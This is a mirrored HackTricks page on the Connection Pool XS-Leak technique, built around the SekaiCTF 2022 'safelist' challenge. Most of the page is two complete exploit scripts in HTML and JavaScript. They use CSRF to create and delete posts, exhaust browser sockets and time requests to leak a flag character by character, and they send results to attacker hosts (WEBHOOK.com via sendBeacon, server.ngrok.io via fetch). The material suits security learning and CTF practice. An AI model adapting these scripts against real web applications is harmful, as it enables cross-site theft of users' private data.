mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 10:33:36 +00:00
307 lines
13 KiB
Markdown
307 lines
13 KiB
Markdown
# Connection Pool Example
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic\_) gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**.
|
|
|
|
In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:
|
|
|
|
* The **bot** will **visit** a **URL** given by the attacker
|
|
* The attacker can **inject HTML** in the page (but no JS, dompurify is used) abusing a **CSRF** making the **bot create a post** with that HTML.
|
|
* The attacker can abuse a CSRF to make the **bot** **delete** the **first** **post** inside the web.
|
|
* Because the **posts** are ordered **alphabetically**, when the **first post is deleted**, if the **HTML** content of the attacker is **loaded** means that it was **alphabetically before the flag**.
|
|
|
|
Therefore, to steal the flag, the solution proposed by @Strellyc\_ is to, **for each char to test** make the bot:
|
|
|
|
* Create a **new post** that **starts** with the known part of the **flag** and several **img** **loads**.
|
|
* **Delete** the **post** in position **0**.
|
|
* Block 255 sockets.
|
|
* Load the page with the posts
|
|
* Perform 5 random requests to a site (example.com in this case) and measure the time this takes.
|
|
|
|
{% hint style="warning" %}
|
|
If the **deleted** post was the **flag**, this means that all the **images** **injected** in the HTML are going to be **fighting** with the **5 random requests** for that **unblocked** socket. Which means that the time measured is going to be bigger than the other scenario.
|
|
|
|
If the **deleted** post was the **HTML**, the **5 random requests** will be **faster** because they don't need to fight for that socket with the HTML injected.
|
|
{% endhint %}
|
|
|
|
### Exploit 1
|
|
|
|
This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
|
|
|
|
```html
|
|
<!-- Form to inject HTML code in the bots page -->
|
|
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
|
|
<input type="text" name="text" />
|
|
<input type="submit" />
|
|
</form>
|
|
|
|
<!-- Form to delete the first entry -->
|
|
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
|
|
<input type="text" name="index" value="0" />
|
|
<input type="submit" />
|
|
</form>
|
|
|
|
<script>
|
|
// Attacker listening
|
|
const WEBHOOK = "https://WEBHOOK.com/";
|
|
// Send data to attacker
|
|
const log = (id, data) => {
|
|
let payload = JSON.stringify({ known, alphabet, data });
|
|
console.log(id, payload);
|
|
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
|
|
}
|
|
|
|
// Similar to JQuery
|
|
const $ = document.querySelector.bind(document);
|
|
|
|
// Known part of the flag
|
|
const known = "SEKAI{";
|
|
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
|
|
|
|
// Reduce the alphabet using a hash (#) in the URL
|
|
if (location.hash) {
|
|
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
|
|
}
|
|
|
|
// Funtion to leak chars
|
|
const leak = async (c) => {
|
|
// Prepare post with known flag and the new char
|
|
let payload = `${known + c}`;
|
|
// Inject as many <img as possible
|
|
// you need to respect the CSP and create URLs that are different
|
|
for(let i = 0; payload.length < 2048; i++) {
|
|
payload += `<img src=js/purify.js?${i.toString(36)}>`;
|
|
}
|
|
|
|
// Inject HTML
|
|
$("#create input[type=text]").value = payload;
|
|
$("#create").submit();
|
|
await new Promise(r => setTimeout(r, 1000));
|
|
|
|
// Remove post with index 0
|
|
$("#remove").submit();
|
|
await new Promise(r => setTimeout(r, 500));
|
|
|
|
let deltas = [];
|
|
|
|
// Try each char 3 times
|
|
for (let i = 0; i < 3; i++) {
|
|
const SOCKET_LIMIT = 255;
|
|
// you will need a custom server that works like num.sleepserver.com/sleep/delay
|
|
// needed to freeze the blocked sockets, and they have to all be on different origins
|
|
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
|
|
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
|
|
|
|
const block = async (i, controller) => {
|
|
try {
|
|
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
|
|
}
|
|
catch(err) {}
|
|
};
|
|
|
|
// block SOCKET_LIMIT sockets
|
|
const controller = new AbortController();
|
|
for (let i = 0; i < SOCKET_LIMIT; i++) {
|
|
block(i, controller);
|
|
}
|
|
|
|
// Make the bot access the page with the posts
|
|
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
|
|
await new Promise(r => setTimeout(r, 500));
|
|
|
|
// start meassuring time to perform 5 requests
|
|
let start = performance.now();
|
|
await Promise.all([
|
|
fetch("https://example.com", { mode: "no-cors" }),
|
|
fetch("https://example.com", { mode: "no-cors" }),
|
|
fetch("https://example.com", { mode: "no-cors" }),
|
|
fetch("https://example.com", { mode: "no-cors" }),
|
|
fetch("https://example.com", { mode: "no-cors" })
|
|
]);
|
|
let delta = performance.now() - start;
|
|
document.title = delta;
|
|
controller.abort();
|
|
|
|
log("test_" + c + "_" + i, delta);
|
|
|
|
// Save time needed
|
|
deltas.push(delta);
|
|
}
|
|
return deltas;
|
|
};
|
|
|
|
// Check each char
|
|
const pwn = async () => {
|
|
// Try to leak each character
|
|
for(let i = 0; i < alphabet.length; i++) {
|
|
//Check the indicated char
|
|
let deltas = await leak(alphabet[i]);
|
|
|
|
// Calculate mean time from requests to example.com
|
|
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
|
|
|
|
// If greater than 250, the HTML code was injected (flag in index 0)
|
|
if (avg > 250) {
|
|
log("tests_pos_" + alphabet[i], deltas)
|
|
}
|
|
// Flag in the page
|
|
else {
|
|
log("tests_neg_" + alphabet[i], deltas)
|
|
}
|
|
}
|
|
};
|
|
|
|
window.onload = async () => {
|
|
pwn();
|
|
};
|
|
</script>
|
|
```
|
|
|
|
### Exploit 2
|
|
|
|
Same tactic but different code from [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
|
|
|
|
```html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<!--
|
|
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
|
|
If images are loading, the request to "/" is slower, otherwise faster.
|
|
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
|
|
We can use fetch to measure the request time.
|
|
-->
|
|
<body>
|
|
<button onclick="run()">start</button>
|
|
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
|
|
<input id=inp name="text" value="">
|
|
</form>
|
|
|
|
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
|
|
<input id=inp2 name="index" value="">
|
|
</form>
|
|
<script>
|
|
let flag = 'SEKAI{'
|
|
const TARGET = 'https://safelist.ctf.sekai.team'
|
|
f.action = TARGET + '/create'
|
|
f2.action = TARGET + '/remove'
|
|
|
|
const sleep = ms => new Promise(r => setTimeout(r, ms))
|
|
const send = data => fetch('http://server.ngrok.io?d='+data)
|
|
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
|
|
|
|
// start exploit
|
|
let count = 0
|
|
setTimeout(async () => {
|
|
let L = 0
|
|
let R = charset.length - 1
|
|
while( (R-L)>3 ) {
|
|
let M = Math.floor((L + R) / 2)
|
|
let c = charset[M]
|
|
send('try_' + flag + c)
|
|
const found = await testChar(flag + c)
|
|
if (found) {
|
|
L = M
|
|
} else {
|
|
R = M - 1
|
|
}
|
|
}
|
|
|
|
// fallback to linear since I am not familiar with binary search lol
|
|
for(let i=R; i>=L; i--) {
|
|
let c = charset[i]
|
|
send('try_' + flag + c)
|
|
const found = await testChar(flag + c)
|
|
if (found) {
|
|
send('found: '+ flag+c)
|
|
flag += c
|
|
break
|
|
}
|
|
}
|
|
|
|
}, 0)
|
|
|
|
async function testChar(str) {
|
|
return new Promise(resolve => {
|
|
/*
|
|
For 3350, you need to test it on your local to get this number.
|
|
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
|
|
If starts with "A", the image should be loaded because it's in the threshold.
|
|
*/
|
|
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
|
|
f.submit()
|
|
|
|
setTimeout(() => {
|
|
run(str, resolve)
|
|
}, 500)
|
|
})
|
|
}
|
|
|
|
async function run(str, resolve) {
|
|
// if the request is not enough, we can send more by opening more window
|
|
for(let i=1; i<=5;i++) {
|
|
window.open(TARGET)
|
|
}
|
|
|
|
let t = 0
|
|
const round = 30
|
|
setTimeout(async () => {
|
|
for(let i=0; i<round; i++) {
|
|
let s = performance.now()
|
|
await fetch(TARGET + '/?test', {
|
|
mode: 'no-cors'
|
|
}).catch(err=>1)
|
|
let end = performance.now()
|
|
t += end - s
|
|
console.log(end - s)
|
|
}
|
|
const avg = t/round
|
|
send(str + "," + t + "," + "avg:" + avg)
|
|
|
|
/*
|
|
I get this threshold(1000ms) by trying multiple times on remote admin bot
|
|
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
|
|
*/
|
|
const isFound = (t >= 1000)
|
|
if (isFound) {
|
|
inp2.value = "0"
|
|
} else {
|
|
inp2.value = "1"
|
|
}
|
|
|
|
// remember to delete the post to not break our leak oracle
|
|
f2.submit()
|
|
setTimeout(() => {
|
|
resolve(isFound)
|
|
}, 200)
|
|
}, 200)
|
|
}
|
|
|
|
</script>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
```
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|